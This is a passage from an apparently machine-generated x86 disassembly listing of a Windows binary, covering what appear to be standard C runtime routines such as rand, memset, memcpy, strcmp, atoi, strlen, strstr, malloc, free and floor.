arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_42F820, eax
		retn
sub_4119B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4119BF	proc near		; CODE XREF: seg000:0040117Dp
					; seg000:004011F1p ...
		mov	eax, ds:dword_42F820
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	ds:dword_42F820, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_4119BF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4119E0	proc near		; CODE XREF: seg000:00401333p
					; sub_4018CA+85p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_411A33
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_411A27
		neg	ecx
		and	ecx, 3
		jz	short loc_411A09
		sub	edx, ecx


loc_411A03:				; CODE XREF: sub_4119E0+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_411A03


loc_411A09:				; CODE XREF: sub_4119E0+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_411A27
		rep stosd
		test	edx, edx
		jz	short loc_411A2D


loc_411A27:				; CODE XREF: sub_4119E0+18j
					; sub_4119E0+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_411A27


loc_411A2D:				; CODE XREF: sub_4119E0+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411A33:				; CODE XREF: sub_4119E0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_4119E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A40	proc near		; CODE XREF: seg000:004012DFp
					; seg000:004012F0p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_411A60
		cmp	edi, eax
		jb	loc_411BD8


loc_411A60:				; CODE XREF: sub_411A40+16j
		test	edi, 3
		jnz	short loc_411A7C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_411A9C
		rep movsd
		jmp	ds:off_411B88[edx*4]
; ---------------------------------------------------------------------------


loc_411A7C:				; CODE XREF: sub_411A40+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_411A94
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_411A9C+4[eax*4]
; ---------------------------------------------------------------------------


loc_411A94:				; CODE XREF: sub_411A40+46j
		jmp	dword ptr ds:loc_411B98[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_411A9C:				; CODE XREF: sub_411A40+31j
					; sub_411A40+8Ej ...
		jmp	ds:off_411B1C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_411AB0
		dd offset loc_411ADC
		dd offset loc_411B00
; ---------------------------------------------------------------------------


loc_411AB0:				; DATA XREF: sub_411A40+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_411A9C
		rep movsd
		jmp	ds:off_411B88[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_411ADC:				; DATA XREF: sub_411A40+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_411A9C
		rep movsd
		jmp	ds:off_411B88[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_411B00:				; DATA XREF: sub_411A40+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_411A9C
		rep movsd
		jmp	ds:off_411B88[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_411B1C	dd offset loc_411B7F	; DATA XREF: sub_411A40:loc_411A9Cr
		dd offset loc_411B6C
		dd offset loc_411B64
		dd offset loc_411B5C
		dd offset loc_411B54
		dd offset loc_411B4C
		dd offset loc_411B44
		dd offset loc_411B3C
; ---------------------------------------------------------------------------


loc_411B3C:				; CODE XREF: sub_411A40:loc_411A9Cj
					; DATA XREF: sub_411A40+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_411B44:				; CODE XREF: sub_411A40:loc_411A9Cj
					; DATA XREF: sub_411A40+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_411B4C:				; CODE XREF: sub_411A40:loc_411A9Cj
					; DATA XREF: sub_411A40+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_411B54:				; CODE XREF: sub_411A40:loc_411A9Cj
					; DATA XREF: sub_411A40+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_411B5C:				; CODE XREF: sub_411A40:loc_411A9Cj
					; DATA XREF: sub_411A40+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_411B64:				; CODE XREF: sub_411A40:loc_411A9Cj
					; DATA XREF: sub_411A40+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_411B6C:				; CODE XREF: sub_411A40:loc_411A9Cj
					; DATA XREF: sub_411A40+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_411B7F:				; CODE XREF: sub_411A40:loc_411A9Cj
					; DATA XREF: sub_411A40:off_411B1Co
		jmp	ds:off_411B88[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_411B88	dd offset loc_411B98	; DATA XREF: sub_411A40+35r
					; sub_411A40+92r ...
		dd offset loc_411BA0
		dd offset loc_411BAC
		dd offset loc_411BC0
; ---------------------------------------------------------------------------


loc_411B98:				; CODE XREF: sub_411A40+35j
					; sub_411A40+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_411BA0:				; CODE XREF: sub_411A40+35j
					; sub_411A40+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_411BAC:				; CODE XREF: sub_411A40+35j
					; sub_411A40+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_411BC0:				; CODE XREF: sub_411A40+35j
					; sub_411A40+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_411BD8:				; CODE XREF: sub_411A40+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_411C0C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_411C00
		std
		rep movsd
		cld
		jmp	ds:off_411D20[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_411C00:				; CODE XREF: sub_411A40+1B1j
					; sub_411A40+208j ...
		neg	ecx
		jmp	ds:off_411CD0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_411C0C:				; CODE XREF: sub_411A40+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_411C24
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_411C24+4[eax*4]
; ---------------------------------------------------------------------------


loc_411C24:				; CODE XREF: sub_411A40+1D6j
					; DATA XREF: sub_411A40+1DDr
		jmp	ds:off_411D20[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_411C38
		dd offset loc_411C58
; ---------------------------------------------------------------------------
		sbb	byte ptr [ecx+eax*2], 0


loc_411C38:				; DATA XREF: sub_411A40+1ECo
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_411C00
		std
		rep movsd
		cld
		jmp	ds:off_411D20[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_411C58:				; DATA XREF: sub_411A40+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_411C00
		std
		rep movsd
		cld
		jmp	ds:off_411D20[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_411C00
		std
		rep movsd
		cld
		jmp	ds:off_411D20[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_411CD4
		dd offset loc_411CDC
		dd offset loc_411CE4
		dd offset loc_411CEC
		dd offset loc_411CF4
		dd offset loc_411CFC
		dd offset loc_411D04
off_411CD0	dd offset loc_411D17	; DATA XREF: sub_411A40+1C2r
; ---------------------------------------------------------------------------


loc_411CD4:				; DATA XREF: sub_411A40+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_411CDC:				; DATA XREF: sub_411A40+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_411CE4:				; DATA XREF: sub_411A40+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_411CEC:				; DATA XREF: sub_411A40+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_411CF4:				; DATA XREF: sub_411A40+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_411CFC:				; DATA XREF: sub_411A40+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_411D04:				; DATA XREF: sub_411A40+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_411D17:				; CODE XREF: sub_411A40+1C2j
					; DATA XREF: sub_411A40:off_411CD0o
		jmp	ds:off_411D20[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_411D20	dd offset loc_411D30	; DATA XREF: sub_411A40+1B7r
					; sub_411A40:loc_411C24r ...
		dd offset loc_411D38
		dd offset loc_411D48
		dd offset loc_411D5C
; ---------------------------------------------------------------------------


loc_411D30:				; CODE XREF: sub_411A40+1B7j
					; sub_411A40:loc_411C24j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_411D38:				; CODE XREF: sub_411A40+1B7j
					; sub_411A40:loc_411C24j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_411D48:				; CODE XREF: sub_411A40+1B7j
					; sub_411A40:loc_411C24j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_411D5C:				; CODE XREF: sub_411A40+1B7j
					; sub_411A40:loc_411C24j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_411A40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411D80	proc near		; CODE XREF: seg000:004011AEp
					; seg000:004011CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_411DCC


loc_411D90:				; CODE XREF: sub_411D80+3Cj
					; sub_411D80+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_411DC4
		or	al, al
		jz	short loc_411DC0
		cmp	ah, [ecx+1]
		jnz	short loc_411DC4
		or	ah, ah
		jz	short loc_411DC0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_411DC4
		or	al, al
		jz	short loc_411DC0
		cmp	ah, [ecx+3]
		jnz	short loc_411DC4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_411D90
		mov	edi, edi


loc_411DC0:				; CODE XREF: sub_411D80+18j
					; sub_411D80+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_411DC4:				; CODE XREF: sub_411D80+14j
					; sub_411D80+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_411DCC:				; CODE XREF: sub_411D80+Ej
		test	edx, 1
		jz	short loc_411DE8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_411DC4
		inc	ecx
		or	al, al
		jz	short loc_411DC0
		test	edx, 2
		jz	short loc_411D90


loc_411DE8:				; CODE XREF: sub_411D80+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_411DC4
		or	al, al
		jz	short loc_411DC0
		cmp	ah, [ecx+1]
		jnz	short loc_411DC4
		or	ah, ah
		jz	short loc_411DC0
		add	ecx, 2
		jmp	short loc_411D90
sub_411D80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411E10	proc near		; CODE XREF: seg000:00401250p
					; sub_4018CA+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_411E29
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_411E29:				; CODE XREF: sub_411E10+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_411E10	endp


; =============== S U B	R O U T	I N E =======================================



sub_411E44	proc near		; CODE XREF: sub_411ECF+4p
					; sub_419FA2+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_411E4C:				; CODE XREF: sub_411E44+34j
		cmp	ds:dword_42FA7C, 1
		jle	short loc_411E64
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_411E73
; ---------------------------------------------------------------------------


loc_411E64:				; CODE XREF: sub_411E44+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, ds:off_42F870
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_411E73:				; CODE XREF: sub_411E44+1Ej
		test	eax, eax
		jz	short loc_411E7A
		inc	edi
		jmp	short loc_411E4C
; ---------------------------------------------------------------------------


loc_411E7A:				; CODE XREF: sub_411E44+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_411E8A
		cmp	esi, 2Bh
		jnz	short loc_411E8E


loc_411E8A:				; CODE XREF: sub_411E44+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_411E8E:				; CODE XREF: sub_411E44+44j
		xor	ebx, ebx


loc_411E90:				; CODE XREF: sub_411E44+7Bj
		cmp	ds:dword_42FA7C, 1
		jle	short loc_411EA5
		push	4
		push	esi
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_411EB0
; ---------------------------------------------------------------------------


loc_411EA5:				; CODE XREF: sub_411E44+53j
		mov	eax, ds:off_42F870
		mov	al, [eax+esi*2]
		and	eax, 4


loc_411EB0:				; CODE XREF: sub_411E44+5Fj
		test	eax, eax
		jz	short loc_411EC1
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_411E90
; ---------------------------------------------------------------------------


loc_411EC1:				; CODE XREF: sub_411E44+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_411ECA
		neg	eax


loc_411ECA:				; CODE XREF: sub_411E44+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_411E44	endp


; =============== S U B	R O U T	I N E =======================================



sub_411ECF	proc near		; CODE XREF: sub_4013E9+12p
					; sub_4013E9+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_411E44
		pop	ecx
		retn
sub_411ECF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411EDA	proc near		; CODE XREF: seg000:00402036p
					; sub_402136+A4p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41408C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_411F19
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_411F26
; ---------------------------------------------------------------------------


loc_411F19:				; CODE XREF: sub_411EDA+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_413F77
		pop	ecx
		pop	ecx


loc_411F26:				; CODE XREF: sub_411EDA+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_411EDA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411F30	proc near		; CODE XREF: seg000:00401EAEp
					; seg000:00401ECEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_411FAA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_411F97


loc_411F48:				; CODE XREF: sub_411F30+52j
					; sub_411F30+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_411F6A
		test	al, al
		jz	short loc_411F64


loc_411F59:				; CODE XREF: sub_411F30+32j
		mov	al, [esi]
		inc	esi


loc_411F5C:				; CODE XREF: sub_411F30+3Fj
		cmp	al, dl
		jz	short loc_411F6A
		test	al, al
		jnz	short loc_411F59


loc_411F64:				; CODE XREF: sub_411F30+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_411F6A:				; CODE XREF: sub_411F30+23j
					; sub_411F30+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_411F5C
		lea	edi, [esi-1]


loc_411F74:				; CODE XREF: sub_411F30+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_411FA3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_411F48
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_411FA3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_411F74
		jmp	short loc_411F48
; ---------------------------------------------------------------------------


loc_411F97:				; CODE XREF: sub_411F30+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_413BB6
; ---------------------------------------------------------------------------


loc_411FA3:				; CODE XREF: sub_411F30+49j
					; sub_411F30+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411FAA:				; CODE XREF: sub_411F30+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_411F30	endp


; =============== S U B	R O U T	I N E =======================================



sub_411FB0	proc near		; CODE XREF: sub_402136+DCp
					; sub_402136+120p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_411FD0


loc_411FBC:				; CODE XREF: sub_411FB0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_412003
		test	ecx, 3
		jnz	short loc_411FBC
		add	eax, 0


loc_411FD0:				; CODE XREF: sub_411FB0+Aj
					; sub_411FB0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_411FD0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_412021
		test	ah, ah
		jz	short loc_412017
		test	eax, 0FF0000h
		jz	short loc_41200D
		test	eax, 0FF000000h
		jz	short loc_412003
		jmp	short loc_411FD0
; ---------------------------------------------------------------------------


loc_412003:				; CODE XREF: sub_411FB0+11j
					; sub_411FB0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41200D:				; CODE XREF: sub_411FB0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_412017:				; CODE XREF: sub_411FB0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_412021:				; CODE XREF: sub_411FB0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_411FB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412030	proc near		; CODE XREF: sub_402297+8p
					; sub_4042C6+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_412050


loc_41203C:				; CODE XREF: sub_412030+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41203C


loc_412050:				; CODE XREF: sub_412030+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_412030	endp


; =============== S U B	R O U T	I N E =======================================



sub_41205F	proc near		; CODE XREF: sub_402891+Ap
					; sub_4028CB+12p ...

arg_0		= dword	ptr  4

		push	ds:dword_460FE4
		push	[esp+4+arg_0]
		call	sub_412071
		pop	ecx
		pop	ecx
		retn
sub_41205F	endp


; =============== S U B	R O U T	I N E =======================================



sub_412071	proc near		; CODE XREF: sub_41205F+Ap
					; sub_412A55+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41209A


loc_412078:				; CODE XREF: sub_412071+27j
		push	[esp+arg_0]
		call	sub_41209D
		test	eax, eax
		pop	ecx
		jnz	short locret_41209C
		cmp	[esp+arg_4], eax
		jz	short locret_41209C
		push	[esp+arg_0]
		call	sub_41490B
		test	eax, eax
		pop	ecx
		jnz	short loc_412078


loc_41209A:				; CODE XREF: sub_412071+5j
		xor	eax, eax

locret_41209C:				; CODE XREF: sub_412071+13j
					; sub_412071+19j
		retn
sub_412071	endp


; =============== S U B	R O U T	I N E =======================================



sub_41209D	proc near		; CODE XREF: sub_412071+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, ds:dword_42FA8C
		ja	short loc_4120B5
		push	esi
		call	sub_414CF6
		test	eax, eax
		pop	ecx
		jnz	short loc_4120D1


loc_4120B5:				; CODE XREF: sub_41209D+Bj
		test	esi, esi
		jnz	short loc_4120BC
		push	1
		pop	esi


loc_4120BC:				; CODE XREF: sub_41209D+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_4625E0
		call	ds:dword_41D140	; RtlAllocateHeap


loc_4120D1:				; CODE XREF: sub_41209D+16j
		pop	esi
		retn
sub_41209D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4120D3	proc near		; CODE XREF: sub_402920+Ap
					; sub_402939+7Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_412100
		push	esi
		call	sub_4149A0
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_4120F2
		push	eax
		call	sub_4149CB
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4120F2:				; CODE XREF: sub_4120D3+13j
		push	0
		push	ds:dword_4625E0
		call	ds:dword_41D144	; RtlFreeHeap


loc_412100:				; CODE XREF: sub_4120D3+7j
		pop	esi
		retn
sub_4120D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_412102(double)

sub_412102	proc near		; CODE XREF: sub_403051+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_42F830
		call	sub_415CC9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_412188
		call	sub_415B91
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41216B
		cmp	eax, 2
		jle	short loc_41215D
		cmp	eax, 3
		jnz	short loc_41216B
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_4154A1
		add	esp, 10h
		jmp	short loc_4121CD
; ---------------------------------------------------------------------------


loc_41215D:				; CODE XREF: sub_412102+3Fj
		push	esi
		push	ebx
		call	sub_415CC9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_4121CD
; ---------------------------------------------------------------------------


loc_41216B:				; CODE XREF: sub_412102+3Aj
					; sub_412102+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_41D668
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_4121C5
; ---------------------------------------------------------------------------


loc_412188:				; CODE XREF: sub_412102+2Fj
		call	sub_415B56
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_4121AB


loc_41219D:				; CODE XREF: sub_412102+ACj
		push	esi
		push	ebx
		call	sub_415CC9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_4121CD
; ---------------------------------------------------------------------------


loc_4121AB:				; CODE XREF: sub_412102+99j
		test	bl, 20h
		jnz	short loc_41219D
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_4121C5:				; CODE XREF: sub_412102+84j
		call	sub_4154F4
		add	esp, 1Ch


loc_4121CD:				; CODE XREF: sub_412102+59j
					; sub_412102+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_412102	endp


; =============== S U B	R O U T	I N E =======================================



sub_4121D1	proc near		; CODE XREF: sub_4139EA+9p
					; sub_415D92+21p
					; DATA XREF: ...
		call	sub_4121E9
		call	sub_415D92
